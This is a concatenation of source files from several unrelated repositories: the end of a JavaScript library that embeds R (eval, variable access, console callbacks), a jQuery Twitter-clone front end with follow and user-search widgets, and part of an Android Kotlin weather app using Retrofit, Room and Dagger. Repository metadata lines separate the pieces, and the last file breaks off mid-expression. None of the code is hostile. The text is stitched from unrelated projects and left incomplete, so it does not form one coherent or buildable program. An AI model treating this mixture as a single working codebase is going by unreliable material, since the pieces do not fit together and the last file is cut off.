R.R_NilValue)); }else{ lang.protect(); lang = new SEXPWrap(libR.Rf_lcons(arguments[i].sexp, lang.sexp)); lang.unprotect(1); // this frees old lang } if(arguments[i].argtag !== void 0){ libR.SET_TAG(lang.sexp, libR.Rf_install(arguments[i].argtag)); } }); lang.protect(); // protect the most recent one. try{ const ret = this.__eval_langsxp(lang.sexp); lang.unprotect(); return ret; }catch(e){ lang.protect(); throw e; } } /** * Bridging function for R function. * Please do not call this function manually. * @private * @param {function} func SEXPWrap object of R function * @return JavaScript compatible returned value */ __RFuncBridge(func){ // This receives normal Javascript value, and returns Javascript value const argumentsArr = Array.apply(null, arguments).slice(1); let argumentsSEXPWrap = new Array(); argumentsArr.map((e) => { if(e.constructor.name == "Object"){ // add all items for(let key of Object.keys(e)){ const sw = new SEXPWrap(e[key]); sw.protect(); sw.argtag = key; argumentsSEXPWrap.push(sw); } }else{ // simply add const sw = new SEXPWrap(e); sw.protect(); argumentsSEXPWrap.push(sw); } }); try { let ret_sexp = this.__RFuncBridge_raw(func, ...argumentsSEXPWrap); ret_sexp.protect(); let ret = ret_sexp.getValue(); ret_sexp.unprotect(); SEXPWrap.unprotect(argumentsSEXPWrap.length); return ret; }catch(e){ SEXPWrap.unprotect(argumentsSEXPWrap.length); throw e; } } /** * Execute R code. * @param {string} code R code * @param {boolean} silent Suppress error message if true. * @throws {Error} When execution fails. * @return {SEXPWrap} SEXPWrap object of returned value. Returns undefined on error. * @see {@link eval}, R_ParseEvalString */ eval_raw(code, silent=false){ const s = new SEXPWrap(code); s.protect(); var status = ref.alloc(ref.types.int); const ps = new SEXPWrap(libR.R_ParseVector(s.sexp, -1, status, R.R_NilValue)); ps.protect(); if(ref.deref(status) != ParseStatus.PARSE_OK || !(ps.isExpression()) || ps.length() != 1){ ps.unprotect(2); debug(`Parse error.\n-----\n${code}\n-----`); throw new Error("Parse error of R code"); }else{ try { const ret = this.__eval_langsxp(libR.VECTOR_ELT(ps.sexp, 0), silent); ps.unprotect(2); return ret; }catch(e){ const errmsg = libR.R_curErrorBuf(); debug(`Execution error in eval_raw.\n----\n${code}\n\nReason: ${errmsg}----`); ps.unprotect(2); throw e; } } } /** * Execute R code with LANGSXP * @private */ __eval_langsxp(langsxp, silent=false){ var errorOccurred = ref.alloc(ref.types.int, 0); const f = silent ? libR.R_tryEvalSilent : libR.R_tryEval; const retval = new SEXPWrap(f(langsxp, R.GlobalEnv, errorOccurred)); if(ref.deref(errorOccurred)){ const errmsg = libR.R_curErrorBuf(); throw new Error(`Execution error: ${errmsg}`); } return retval; } /** * Execute R code without error handling. App crashes when execution/parse failure. * Please use this function with care. * @param {string} code R code * @return {SEXPWrap} SEXPWrap object of returned value. Returns undefined on error. * @see {@link eval_raw} */ eval_direct(code){ return new SEXPWrap(libR.R_ParseEvalString(code, R.GlobalEnv)); } /** * Execute R code. * @param {string} code R code * @param {boolean} silent Suppress error message if true. * @throws {Error} When execution fails. * @return JavaScript compatible object of returned value. * @example * let value = R.eval("sum(c(1, 2, 3))") // value will be 6 */ eval(code, silent=false){ const ret = this.eval_raw(code, silent); ret.protect(); const retval = ret.getValue(); ret.unprotect(); return retval; } /** * Execute R code with R try. This is more safe than {@link R#eval}. * @param {string} code R code * @param {boolean} silent Suppress error message if true. * @return Returned value. Returns undefined on error. */ evalWithTry(code, silent=false){ const f = silent ? "TRUE" : "FALSE"; return this.eval(`try({${code}}, silent=${f})`); } /** * Acquire value of R variable * @param {string} varname Name of variable * @return Value in the R variable. */ getVar(varname){ let varsexp = new SEXPWrap(libR.Rf_findVar(libR.Rf_install(varname), R.GlobalEnv)); if(varsexp.sexp.address() == R.R_UnboundValue.address()){ return undefined; } varsexp.protect(); let value = varsexp.getValue(); varsexp.unprotect(); return value; } /** * Acquire names attribute of R variable * @param {string} varname Name of variable * @return {string} Associated name attribute for the specified R variable. If no name, undefined will be returned. */ getVarNames(varname){ let varsexp = new SEXPWrap(libR.Rf_findVar(libR.Rf_install(varname), R.GlobalEnv)); return varsexp.names; } /** * Set value to R variable * @param {string} varname Name of variable * @param {object} value Value you want to set to variable. */ setVar(varname, value){ let value_sexp = new SEXPWrap(value); value_sexp.protect(); libR.Rf_setVar(libR.Rf_install(varname), value_sexp.sexp, R.GlobalEnv); value_sexp.unprotect(); } /** * Set names attribute to R variable * @param {string} varname Name of variable * @param {object} value Value you want to set to names attributes */ setVarNames(varname, value){ let varsexp = new SEXPWrap(libR.Rf_findVar(libR.Rf_install(varname), R.GlobalEnv)); varsexp.names = value; } /** * Use your own console input/output instead of R's default one. * @param {function} onMessage Function on showing message */ overrideShowMessage(onMessage){ const ShowMessage = ffi.Callback("void", [ref.types.CString], (msg) => onMessage(msg) ); ref.writePointer(libR.ptr_R_ShowMessage, 0, ShowMessage); } /** * Use your own console input/output instead of R's default one. * @param {function} onReadConsole Function on console read */ overrideReadConsole(onReadConsole){ const ReadConsole = ffi.Callback("int", [ref.types.CString, ref.refType(ref.types.char), "int", "int"], (prompt, buf, len, _addtohistory) => { debug("Read console start: " + prompt); const ret = onReadConsole(prompt) + "\n"; const rebuf = ref.reinterpret(buf, len, 0); if(ret.length + 1 > len){ /* too large! */ debug("Too long input for ReadConsole"); ref.writeCString(rebuf, 0, "ERROR"); }else{ debug("Writedown to buffer."); ref.writeCString(rebuf, 0, ret); } debug("Read console fin"); return 1; }); ref.writePointer(libR.ptr_R_ReadConsole, 0, ReadConsole); } /** * Use your own console input/output instead of R's default one. * @param {function} onWriteConsole Function on console write */ overrideWriteConsole(onWriteConsole){ const WriteConsole = ffi.Callback("void", [ref.types.CString, "int"], (output, _len) => onWriteConsole(output) ); const WriteConsoleEx = ffi.Callback( "void", [ref.types.CString, "int", "int"], (output, len, otype) => onWriteConsole(output, otype) ); ref.writePointer(libR.ptr_R_WriteConsole, 0, WriteConsole); ref.writePointer(libR.ptr_R_WriteConsoleEx, 0, WriteConsoleEx); } /** * Set callback on R's computation. * @param {function} onBusy Function called on busy/job finish */ overrideBusy(onBusy){ const Busy = ffi.Callback("void", ["int"], (which) => onBusy(which)); ref.writePointer(libR.ptr_R_Busy, 0, Busy); } /** * Finish using R. */ release(){ libR.Rf_endEmbeddedR(0); } /** * Python like range function. * Be careful, this is not R ':' operator * range(0, 3) == [0, 1, 2], which is not eq. to 0:3 * @param {integer} a from * @param {integer} b to (this value won't be included) * @return {Array} value in a <= x < b. range(0, 3) == [0, 1, 2] */ static range(a, b){ let len = (b - a); return [...Array(len)].map((e, i) => i + a); } } /* * vim: filetype=javascript */
aec68fbe19865f1936906dc7d1d643ad2cad0845
[ "JavaScript", "HTML", "Markdown" ]
12
JavaScript
kcrt/libr-bridge
ae3e1bf1999b225f0d1e011021383e748b03c36c
5af74b06273e4720e98971f6277cc5b020f57087
refs/heads/master
<repo_name>viz-eight7six/ajax-twitter<file_sep>/frontend/twitter.js const followToggle = require('./follow_toggle'); const usersSearch = require('./users_search'); const tweetCompose = require('./tweet_compose'); $(function() { $("button.follow-toggle").each((idx, button) => { console.log(button); new followToggle($(button)); }); $("nav.users-search").each((idx, search) => { new usersSearch($(search)); }); $("form.tweet-compose").each((idx, form) => { new tweetCompose($(form)); }); }); <file_sep>/frontend/users_search.js const APIUtil = require('./api_util'); const FollowToggle = require('./follow_toggle'); class UsersSearch{ constructor ($el){ console.log($el); this.$el = $el; this.$input = $($el.find("input")); this.$ul = $($el.find("ul")); this.$input.on("input", this.handleInput.bind(this)); } handleInput () { // debugger let val = this.$input.val(); APIUtil.searchUsers(val) .then(this.renderResults.bind(this)); } renderResults (data) { this.$ul.empty(); data.forEach(user => { let $button = $("<button></button>"); let followState = user.followed ? 'followed' : 'unfollowed'; let userLink = $(`<a href="/users/${user.id}">${user.username}</a>`); let $li = $("<li></li>"); $li.append(userLink).append($button); new FollowToggle($button, user.id, followState); this.$ul.append($li); }); } } module.exports = UsersSearch; <file_sep>/frontend/follow_toggle.js const APIUtil = require("./api_util"); class FollowToggle { constructor ($el, userId, followState) { this.userId = $el.attr('data-user-id') || userId; this.followState = $el.attr('data-initial-follow-state') || followState; this.$el = $el; this.render(); $el.click(this.handleClick.bind(this)); } render(){ if (this.followState === "following") { this.$el.prop("disabled", true); return this.$el.html("following"); } else if (this.followState === "unfollowing") { this.$el.prop("disabled", true); return this.$el.html("unfollowing"); } else if (this.followState === "unfollowed") { this.$el.prop("disabled", false); return this.$el.html("Follow!"); } else { this.$el.prop("disabled", false); return this.$el.html("Unfollow!"); } } toggle () { if (this.followState === "following") { this.followState = "followed"; } else { this.followState = "unfollowed"; } } handleClick () { if (this.followState === "unfollowed") { this.followState = 'following'; this.render(); APIUtil.followUser(this.userId) .then(res => this.toggle()) .then(res => this.render()); } else { this.followState = 'unfollowing'; this.render(); APIUtil.unfollowerUser(this.userId) .then(res => this.toggle()) .then(res => this.render()); } } } module.exports = FollowToggle;
cf10062479fc9f5106bf243052bde915da0da866
[ "JavaScript" ]
3
JavaScript
viz-eight7six/ajax-twitter
2db7953f20ea7902fc06b184ef238776d4ddfc82
d77992deb94cce874364c9005dfc9ac2059c0800
refs/heads/master
<file_sep>import os import csv csvpath = os.path.join('budget_data.csv') total_months = 0 total_amount = 0 average_change = 0 maxpercent = 0 minpercent = 0 with open(csvpath, newline = '') as csvfile: read_file = csv.reader(csvfile) # Read the header row first (skip this part if there is no header) csv_header = next(read_file) #print(csv_header) first_row = next(read_file) #print(first_row[0]) #print(first_row[1]) total_months = total_months + 1 total_amount = total_amount + int(first_row[1]) bank = [] prev = int(first_row[1]) for row in read_file: total_months += 1 total_amount = total_amount + int(row[1]) diff_prev = int(row[1]) - prev prev = int(row[1]) bank.append(diff_prev) average_change = sum(bank)/len(bank) maxpercent = max(bank) minpercent = min(bank) print(total_months) print(total_amount) print(average_change) print(maxpercent) print(minpercent) output_file = os.path.join('analysis', 'Budget_Analysis.txt') with open("Budget_Analysis.txt","w") as text_file: print(f"Budget Analysis", file=text_file) print("----------------------------", file=text_file) print(f"Total Months: {total_months}", file=text_file) print(f"Total: ${total_amount}", file=text_file) print(f"Average Change: ${average_change}", file=text_file) print(f"Greatest Increase in Profits: {maxpercent}", file=text_file) print(f"Greatest Decrease in Profits: {minpercent}", file=text_file)
e5892bb2486c4395127323c5c8cb06577bf47da2
[ "Python" ]
1
Python
EdgardoBungay/python-challenge
561573548827b52d13308b84aed7f48e9a03a684
ae5afe0a0009eb8df5875a2a2b3af1e1f42b3dbc
refs/heads/master
<file_sep>include ':app', ':fastdownloader' <file_sep>package com.befiring.easytime.fragment; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.view.ViewPager; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.TextView; import com.befiring.easytime.R; import com.befiring.easytime.adapter.JokeViewPagerAdapter; import com.befiring.easytime.bean.JokeResponse.Data; import com.befiring.easytime.bean.JokeResponse.JokeResponse; import com.befiring.easytime.network.Network; import java.util.ArrayList; import java.util.List; import butterknife.Bind; import butterknife.ButterKnife; import rx.Observer; import rx.android.schedulers.AndroidSchedulers; import rx.schedulers.Schedulers; /** * Created by Administrator on 2016/8/31. */ public class SecondFragment extends BaseFragment{ @Bind(R.id.get)Button getBtn; @Bind(R.id.text)TextView titleText; @Bind(R.id.joke_viewpager)ViewPager mViewPager; public static SecondFragment instance; private List<TextView> textViews=new ArrayList<>(); private JokeViewPagerAdapter mAdapter; Observer<JokeResponse> observer=new Observer<JokeResponse>() { @Override public void onCompleted() { int a=0; } @Override public void onError(Throwable e) { int b=0; } @Override public void onNext(JokeResponse response) { List<Data> datas=response.getResult().getData(); for(int i=0;i<datas.size();i++){ TextView textView=new TextView(getActivity()); textView.setText(datas.get(i).getContent()); textView.setTextSize(18); textViews.add(textView); } mAdapter=new JokeViewPagerAdapter(textViews); mViewPager.setAdapter(mAdapter); } }; @Nullable @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View view=inflater.inflate(R.layout.fragment_second,container,false); ButterKnife.bind(this,view); getBtn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { unsubscribe(); subscription= Network.getApiService("http://japi.juhe.cn/joke/") .getJokeData("8e10be3f8234d89f061d18ba5150a7d1","asc",1,10,"1418745237") .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(observer); } }); return view; } public static SecondFragment getInstance() { if(instance==null){ instance=new SecondFragment(); } return instance; } } <file_sep>package com.befiring.easytime.bean.JokeResponse; /** * Created by Administrator on 2016/9/1. */ public class Data { String content; String hashId; long unixtime; String updatetime; public String getContent() { return content; } public void setContent(String content) { this.content = content; } public String getHashId() { return hashId; } public void setHashId(String hashId) { this.hashId = hashId; } public long getUnixtime() { return unixtime; } public void setUnixtime(long unixtime) { this.unixtime = unixtime; } public String getUpdatetime() { return updatetime; } public void setUpdatetime(String updatetime) { this.updatetime = updatetime; } } <file_sep>package com.befiring.easytime.adapter; import android.support.v4.view.PagerAdapter; import android.support.v4.view.ViewPager; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import java.util.List; /** * Created by Administrator on 2016/9/1. */ public class JokeViewPagerAdapter extends PagerAdapter { private List<TextView> textViews; public JokeViewPagerAdapter(List<TextView> jokes) { this.textViews = jokes; } @Override public int getCount() { return textViews.size(); } @Override public boolean isViewFromObject(View view, Object object) { return view==object; } @Override public Object instantiateItem(ViewGroup container, int position) { container.addView(textViews.get(position % textViews.size()), 0); return textViews.get(position % textViews.size()); } @Override public void destroyItem(View container, int position, Object object) { ((ViewPager)container).removeView(textViews.get(position % textViews.size())); } }
7468970b75ea3f635f27da07c87f8f8bca20c67d
[ "Java", "Gradle" ]
4
Gradle
befiring/EasyTime
0e59d3e7994b20290789b679ed6997b7afaa65aa
c1be2c675497e29558ce6a295722726b112c9970
refs/heads/master
<file_sep>package garcia.luis.bankaccountmanager; /** * Created by luisgarcia on 5/2/17. */ public abstract class Account { public abstract void closeAccount(); private static int id; private double balance; private String name; ; public void createAccount(int id, String name) { this.name = name; this.id = id; balance = 0; } public double getBalance() { return balance; } public void addMoney(double amount) { balance += amount; } public void withdraw(int amount) { balance -= amount; } } <file_sep>package garcia.luis.bankaccountmanager; /** * Created by luisgarcia on 5/3/17. */ public class ATM { public static void main(String[] args) { BusinessAccount elCerro = new BusinessAccount(); Account paco = new CheckingAccount(); SavingsAccount bob = new SavingsAccount(); elCerro.createAccount(1, "El Cerro"); elCerro.addMoney(4344); System.out.println(elCerro.maintainMin());//check if wee can withdraw elCerro.addMoney(6663); elCerro.withdraw(100);///now we can withdraw System.out.println(elCerro.getBalance()); } } <file_sep>package garcia.luis.polymorphism; /** * Created by luisgarcia on 5/3/17. */ public class Main { public static void main(String[] args) { UserInput userInput = new UserInput(); userInput.createPets(); userInput.printPets(); } } <file_sep>package garcia.luis.bankaccountmanager; /** * Created by luisgarcia on 5/3/17. */ public class BusinessAccount extends Account { private static int id; private double balance; private String name; @Override public void withdraw(int amount) { if(maintainMin()) { super.withdraw(amount); } else { System.out.println("Not enough money in Account"); } } public boolean maintainMin() { if(super.getBalance() > 10000) { return true; } else { return false; } } public void closeAccount() { id = 0; balance = -25; System.out.println(name + ", you have now closed your Business Account at a $25 dollar fee"); } } <file_sep>package garcia.luis.polymorphism; import garcia.luis.bankaccountmanager.SavingsAccount; /** * Created by luisgarcia on 5/3/17. */ public class Dog extends Pet { private String name; private int age; @Override public String speak() { return "woof woof"; } } <file_sep>package garcia.luis.polymorphism; /** * Created by luisgarcia on 5/3/17. */ public class Snake extends Pet { private String name; private int age; @Override public String speak() { return "zzzzzzzzzzzzzz"; } } <file_sep>package garcia.luis.polymorphism; /** * Created by luisgarcia on 5/3/17. */ public class Cat extends Pet { private String name; private int age; @Override public String speak() { return "meow meow"; } } <file_sep>package garcia.luis.classmanager; import java.util.ArrayList; /** * Created by luisgarcia on 5/2/17. */ public class Inventory { ArrayList<Product> myInventory = new ArrayList(); public void addProduct(Product product) { //if not in list add it if (!isIdFound(product)) { myInventory.add(product); } } public boolean isIdFound(Product productToCheck) { for (int i = 0; i < myInventory.size(); i++) { Product currentProduct = myInventory.get(i); if (currentProduct.getId() == productToCheck.getId()) { //update quantity if it is already in list int x = currentProduct.getQuantity(); int y = productToCheck.getQuantity(); currentProduct.setQuantity(x+y); return true; } } return false; } public double sumOfProducts(Product product) { double price = product.getPrice(); double quantity = product.getQuantity(); return price * quantity; } public double sumOfAllProducts() { double sum = 0; for(int i = 0; i < myInventory.size(); i++) { sum = sum + sumOfProducts(myInventory.get(i)); } return sum; } public void printInventory() { for(int i = 0; i < myInventory.size(); i++) { System.out.println("ID: " + myInventory.get(i).getId()); System.out.println("Price: $" + myInventory.get(i).getPrice()); System.out.println("Quantity: " + myInventory.get(i).getQuantity()); System.out.println("Sum: $" + sumOfProducts(myInventory.get(i))); System.out.println("Sum of Inventory: $" + sumOfAllProducts()); System.out.println(); } } } <file_sep>package garcia.luis.polymorphisminterface; import java.util.*; /** * Created by luisgarcia on 5/6/17. */ public class UserInfo { ArrayList<Pets> petList = new ArrayList<Pets>(); private int num; private String petType; private String petName; public void createPets() { num = Integer.parseInt(getSringFromUser("How many pets do you have?")); //ask question for (int i = 0; i < num; i++) { petType = getSringFromUser("What kind of pet is pet #" + (i+1) + "?");//save petType input petList.add(matchPet(petType));//add pet from listt petName = getSringFromUser("What is the name of pet #" + (i+1) + "?");//save name of pet petList.get(i).setName(petName);//add name for pet } } public Pets matchPet (String petType) //create pets to add { Pets pet; switch (petType.toLowerCase()) { case "dog": pet = new Dog();//create dog return pet; case "cat": pet = new Cat();//creat cat return pet; case "snake": pet = new Snake(); return pet; default: petType = getSringFromUser("Not valid choice. What kind of pet is it?"); return matchPet(petType); } } public String getSringFromUser(String input) { Scanner in = new Scanner(System.in); System.out.println(input); String userInput = in.next(); return userInput; } public void printPets() { for(int i = 0; i < petList.size(); i++) System.out.println("My pet " + petList.get(i).getName() + " says " + petList.get(i).speak() + "."); } } <file_sep>package garcia.luis.bankaccountmanager; /** * Created by luisgarcia on 5/2/17. */ public class SavingsAccount extends Account { private static int id; private double balance; private String name; public double interestEarned() { double val = super.getBalance(); val = val * .005; super.addMoney(val); return val; } public void closeAccount() { id = 0; balance = -5; System.out.println(name + ", you have now closed your savings account at a $5 fee."); } } <file_sep>package garcia.luis.polymorphisminterface; import garcia.luis.polymorphism.Pet; import java.util.Comparator; /** * Created by luisgarcia on 5/6/17. */ abstract class Pets implements Comparable<Pets>, Comparator<Pets> { abstract void setName(String name); abstract String getName(); abstract void setAge(int age); abstract int getAge(); abstract String speak(); public int compareTo(Pets p) { if(!this.getName().equals(p.getName())) { return this.getName().compareTo(p.getName()); } else { return this.getClass().getName().compareTo(p.getClass().getName()); } } @Override public int compare(Pets p1, Pets p2) { if(p1.getClass().equals(p2.getClass())); { return compare(p1, p2); } } }
3d1c3e179ef174173bd93801abb5086f4b1f20cf
[ "Java" ]
11
Java
pacalyps23/Inheritance
35bd638d9492ba36e762cf4fbf65626e329b29da
727ed30fc6b267696754a164f20b05725a2b54d6
refs/heads/master
<repo_name>takkat14/AutoEncoder<file_sep>/my_utils.py import torch import wandb import numpy as np def set_seed(seed): torch.backends.cudnn.deterministic = True torch.backends.cudnn.benchmark = False np.random.seed(seed) torch.manual_seed(seed) def set_wandb(notes, params): run = wandb.init(notes=notes, entity="takkat14", project="gan-hse-hw1") wandb.watch_called = False # Re-run the model without restarting the runtime, unnecessary after our next release # WandB – Config is a variable that holds and saves hyperparameters and inputs config = wandb.config # Initialize config config.model_type = params['MODEL_TYPE'] config.batch_size = params['BATCH_SIZE'] # input batch size for training (default: 64) config.epochs = params['EPOCHS'] # number of epochs to train (default: 10) config.lr = params['LEARNING_RATE'] # learning rate (default: 0.01) config.no_cuda = False # disables CUDA training config.seed = params['SEED'] # random seed (default: 42) config.log_interval = params['LOG_INTERVAL'] # how many batches to wait before logging training status return config, run <file_sep>/README.md # AutoEncoder HW1 on GAN course @ HSE
1fcc6db4ee7874150984f0a615cb6d0c840a7af4
[ "Markdown", "Python" ]
2
Python
takkat14/AutoEncoder
b2f198264507a7250592a6c31087b7bb104df5d4
62647f95bce7e592850257b8cc2ed6ae48a4aef3
refs/heads/master
<file_sep>package springboot.externalized.configuration; import org.springframework.boot.context.properties.ConfigurationProperties; import org.springframework.stereotype.Component; /** * Created by pangkunkun on 2017/9/5. */ @ConfigurationProperties(prefix="my") @Component public class Config { private String name; private Integer age; private Integer randomnumber; private String secret; private Integer number; private Long bignumber; private String uuid; public Integer getRandomnumber() { return randomnumber; } public void setRandomnumber(Integer randomnumber) { this.randomnumber = randomnumber; } public String getName() { return this.name; } public void setName(String name) { this.name = name; } public void setAge(Integer age) { this.age = age; } public Integer getAge() { return age; } public String getSecret() { return secret; } public void setSecret(String secret) { this.secret = secret; } public Integer getNumber() { return number; } public void setNumber(Integer number) { this.number = number; } public Long getBignumber() { return bignumber; } public void setBignumber(Long bignumber) { this.bignumber = bignumber; } public String getUuid() { return uuid; } public void setUuid(String uuid) { this.uuid = uuid; } } <file_sep> spring.profiles.active=dev name=pangkun foo.bar=spam my.secret=${random.value} my.number=${random.int} my.bignumber=${random.long} my.uuid=${random.uuid} my.number.less.than.ten=${random.int(10)} my.number.in.range=${random.int[1024,65536]} my.name=pangkun my.age=28 my.randomnumber=${random.int[0,10000]}<file_sep> server.port=8080 name=pangkun<file_sep> server.port=80 name=pangkun
d4b57b33e62ca5490241e8e97b18518c5635a494
[ "Java", "INI" ]
4
Java
rhettpang/springboot-study
cf627e404d183fbf3d931ba031f6ff408f272aab
f5654cd136dc2ce9e570e52000ef9539e3faf724
refs/heads/main
<file_sep>package kevin.weather.api import kevin.weather.BuildConfig import retrofit2.http.GET import retrofit2.http.Query interface OpenWeatherMapService { @GET("weather") fun getCurrent(@Query("q") query: String, @Query("units") units : String = "imperial", @Query("appid") appid: String = BuildConfig.OPEN_WEATHER_API_KEY) @GET("onecall") fun getForecast(@Query("lat")lat:Double, @Query("lon") lon:Double, @Query("exclude") exclude: String = "minutely,hourly", @Query("units") units : String = "imperial", @Query("appid") appid: String = BuildConfig.OPEN_WEATHER_API_KEY) }<file_sep>package kevin.weather.ui.common import androidx.databinding.DataBindingComponent import kevin.weather.AppExecutors import kevin.weather.vo.Place //class PlaceListAdapter( // private val dataBindingComponent: DataBindingComponent, // appExecutors: AppExecutors, // private val placeClickCallback: ((Place) -> Unit)? //) : DataBoundListAdapter<Place, PlaceItemBinding>{ //}<file_sep>package kevin.weather.di import android.app.Application import androidx.room.Room import androidx.room.RoomDatabase import androidx.sqlite.db.SupportSQLiteDatabase import dagger.Module import dagger.Provides import kevin.weather.api.OpenWeatherMapService import kevin.weather.db.PlaceDao import kevin.weather.db.WeatherDb import kevin.weather.util.LiveDataCallAdapterFactory import retrofit2.Retrofit import retrofit2.converter.gson.GsonConverterFactory import javax.inject.Singleton @Module(includes = [ViewModelModule::class]) class AppModule { @Singleton @Provides fun provideOpenWeatherMapService(): OpenWeatherMapService { return Retrofit.Builder() .baseUrl("https://api.openweathermap.org/data/2.5/") .addConverterFactory(GsonConverterFactory.create()) .addCallAdapterFactory(LiveDataCallAdapterFactory()) .build() .create(OpenWeatherMapService::class.java) } @Singleton @Provides fun provideDb(app: Application) : WeatherDb { return Room .databaseBuilder(app, WeatherDb::class.java, "weather.db") .fallbackToDestructiveMigration() .build() } @Singleton @Provides fun providePlaceDao(db: WeatherDb) : PlaceDao { return db.placeDao() } }<file_sep>package kevin.weather.di import androidx.lifecycle.ViewModel import androidx.lifecycle.ViewModelProvider import dagger.Binds import dagger.Module import dagger.multibindings.IntoMap import kevin.weather.ui.place.PlaceViewModel import kevin.weather.viewmodel.WeatherViewModelFactory @Suppress("unused") @Module abstract class ViewModelModule { @Binds @IntoMap @ViewModelKey(PlaceViewModel::class) abstract fun bindPlaceViewModel(placeViewModel: PlaceViewModel) : ViewModel @Binds abstract fun bindViewModelFactory(factory: WeatherViewModelFactory) : ViewModelProvider.Factory }<file_sep>package kevin.weather.repository import androidx.lifecycle.LiveData import androidx.lifecycle.MutableLiveData import androidx.lifecycle.asLiveData import kevin.weather.AppExecutors import kevin.weather.api.ApiEmptyResponse import kevin.weather.api.ApiResponse import kevin.weather.db.PlaceDao import kevin.weather.db.WeatherDb import kevin.weather.util.RateLimiter import kevin.weather.vo.Place import kevin.weather.vo.Resource import kotlinx.coroutines.flow.Flow import java.util.concurrent.TimeUnit import javax.inject.Inject class PlaceRepository @Inject constructor( private val appExecutors: AppExecutors, private val db: WeatherDb, private val placeDao: PlaceDao ) { fun loadPlace(id: Int): Flow<Place> { return placeDao.getById(id) } fun loadPlace(name: String, state: String): LiveData<Resource<Place>> { return object : NetworkBoundResource<Place, Place>(appExecutors) { override fun saveCallResult(item: Place) { } override fun shouldFetch(data: Place?): Boolean { return false } override fun loadFromDb() = placeDao.getByNameAndState(name, state) override fun createCall(): LiveData<ApiResponse<Place>> { return MutableLiveData<ApiResponse<Place>>(ApiEmptyResponse<Place>()) } }.asLiveData() } fun loadPlaces() : LiveData<Resource<List<Place>>> { return object : NetworkBoundResource<List<Place>, List<Place>>(appExecutors) { override fun saveCallResult(item: List<Place>) { } override fun shouldFetch(data: List<Place>?): Boolean { return false } override fun loadFromDb() = placeDao.getAll() override fun createCall(): LiveData<ApiResponse<List<Place>>> { return MutableLiveData<ApiResponse<List<Place>>>(ApiEmptyResponse<List<Place>>()) } }.asLiveData() } }<file_sep>package kevin.weather.di interface Injectable<file_sep>package kevin.weather.ui.place import android.os.Bundle import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import androidx.databinding.DataBindingComponent import androidx.databinding.DataBindingUtil import androidx.fragment.app.Fragment import androidx.fragment.app.viewModels import androidx.lifecycle.ViewModelProvider import androidx.navigation.fragment.navArgs import androidx.transition.TransitionInflater import kevin.weather.AppExecutors import kevin.weather.R import kevin.weather.binding.FragmentDataBindingComponent import kevin.weather.databinding.PlacesFragmentBinding import kevin.weather.di.Injectable import kevin.weather.ui.common.RetryCallback import kevin.weather.util.autoCleared import javax.inject.Inject class PlaceFragment : Fragment(), Injectable { @Inject lateinit var viewModelFactory: ViewModelProvider.Factory val placeViewModel: PlaceViewModel by viewModels { viewModelFactory } @Inject lateinit var appExecutors: AppExecutors var dataBindingComponent: DataBindingComponent = FragmentDataBindingComponent(this) var binding by autoCleared<PlacesFragmentBinding>() private val params by navArgs<PlaceFragmentArgs>() override fun onCreateView( inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? ): View? { val dataBinding = DataBindingUtil.inflate<PlacesFragmentBinding>( inflater, R.layout.places_fragment, container, false ) dataBinding.retryCallback = object: RetryCallback { override fun retry() { placeViewModel.retry() } } binding = dataBinding // sharedElementEnterTransition = TransitionInflater.from(context).inflateTransition(R.transition.move) return dataBinding.root } override fun onViewCreated(view: View, savedInstanceState: Bundle?) { placeViewModel.setId(params.name, params.state) binding.lifecycleOwner = viewLifecycleOwner binding.place = placeViewModel.place } }<file_sep># weather To build a apikeys.properties file needs to be present in the root of the project. The apikeys.properties file must have an entry of: OPEN_WEATHER_API_KEY="{api key}" <file_sep>package kevin.weather.db import androidx.lifecycle.LiveData import androidx.room.Dao import androidx.room.Insert import androidx.room.OnConflictStrategy import androidx.room.Query import kevin.weather.vo.Place import kotlinx.coroutines.flow.Flow @Dao interface PlaceDao { @Insert(onConflict = OnConflictStrategy.REPLACE) fun insert(place: Place) @Query("SELECT * FROM place") fun getAll(): LiveData<List<Place>> @Query("SELECT * FROM place WHERE id = :id") fun getById(id:Int): Flow<Place> @Query("SELECT * FROM place WHERE name = :name AND state = :state") fun getByNameAndState(name:String, state:String): LiveData<Place> }<file_sep>package kevin.weather.vo import androidx.room.Entity import androidx.room.PrimaryKey @Entity data class Current( @PrimaryKey(autoGenerate = true) val id : Int = 0, val placeId: Int, val temp: Float, val high: Float, val low: Float, val rain: Float? = null, val snow: Float? = null, val time: Long, val icon: String ) <file_sep>package kevin.weather.di import dagger.Module import dagger.android.ContributesAndroidInjector import kevin.weather.ui.place.PlaceFragment @Suppress("unused") @Module abstract class FragmentBuildersModule { @ContributesAndroidInjector abstract fun contributePlaceFragment(): PlaceFragment }<file_sep>package kevin.weather.db import androidx.lifecycle.LiveData import androidx.room.Dao import androidx.room.Insert import androidx.room.OnConflictStrategy import androidx.room.Query import kevin.weather.vo.Current @Dao interface CurrentDao { @Insert(onConflict = OnConflictStrategy.REPLACE) fun insert(current: Current) @Query("SELECT * FROM current WHERE placeId = :placeId") fun findByPlaceId(placeId: Int) : LiveData<Current> }<file_sep>package kevin.weather.db import androidx.room.Database import androidx.room.RoomDatabase import kevin.weather.vo.Place @Database( entities = [ Place::class ], version = 1, exportSchema = false ) abstract class WeatherDb : RoomDatabase() { abstract fun placeDao(): PlaceDao }<file_sep>package kevin.weather.ui.place import androidx.lifecycle.LiveData import androidx.lifecycle.MutableLiveData import androidx.lifecycle.ViewModel import androidx.lifecycle.switchMap import kevin.weather.repository.PlaceRepository import kevin.weather.util.AbsentLiveData import kevin.weather.vo.Place import kevin.weather.vo.Resource import javax.inject.Inject class PlaceViewModel @Inject constructor(placeRepository: PlaceRepository) : ViewModel() { private val _placeId: MutableLiveData<PlaceId> = MutableLiveData() val placeId: LiveData<PlaceId> get() = _placeId val place: LiveData<Resource<Place>> = _placeId.switchMap { input -> input.ifExists { name, state -> placeRepository.loadPlace(name, state) } } fun retry() { val name = _placeId.value?.name val state = _placeId.value?.state if (name != null && state != null) { _placeId.value = PlaceId(name, state) } } fun setId(name: String, state: String) { val update = PlaceId(name, state) if (_placeId.value == update) { return } _placeId.value = update } data class PlaceId(val name: String, val state: String) { fun <T> ifExists(f: 